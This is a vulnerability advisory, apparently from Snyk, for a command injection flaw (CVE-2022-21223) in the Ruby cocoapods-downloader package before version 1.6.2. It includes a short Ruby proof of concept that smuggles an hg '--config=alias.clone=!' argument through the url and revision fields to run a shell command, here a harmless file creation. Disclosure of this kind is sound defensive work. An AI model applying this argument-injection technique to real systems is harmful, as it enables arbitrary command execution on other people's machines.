Command Injection Affecting cocoapods-downloader package, versions <1.6.2
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.13% (50th
percentile)
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Test your applications- Snyk ID SNYK-RUBY-COCOAPODSDOWNLOADER-2414280
- published 1 Apr 2022
- disclosed 2 Mar 2022
- credit Alessio Della Libera of Snyk Research Team
Introduced: 2 Mar 2022
CVE-2022-21223 Open this link in a new tabHow to fix?
Upgrade cocoapods-downloader to version 1.6.2 or higher.
Overview
cocoapods-downloader is an A small library for downloading files from remotes in a folder.
Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the download function (when using hg), the url (and/or revision, tag, branch) is passed to the hg clone command in a way that additional flags can be set. The additional flags can be used to perform a command injection.
PoC
require 'cocoapods-downloader'
options = { :hg => '--config=alias.clone=!touch ./HELLO2;'}
downloader = Pod::Downloader.for_target("./", options)
downloader.download
options = { :hg => 'foo/bar', :revision => '--config=alias.clone=!touch ./HELLO3;'}
downloader = Pod::Downloader.for_target("./", options)
downloader.download
# ls -la
References
CVSS Scores
version 3.1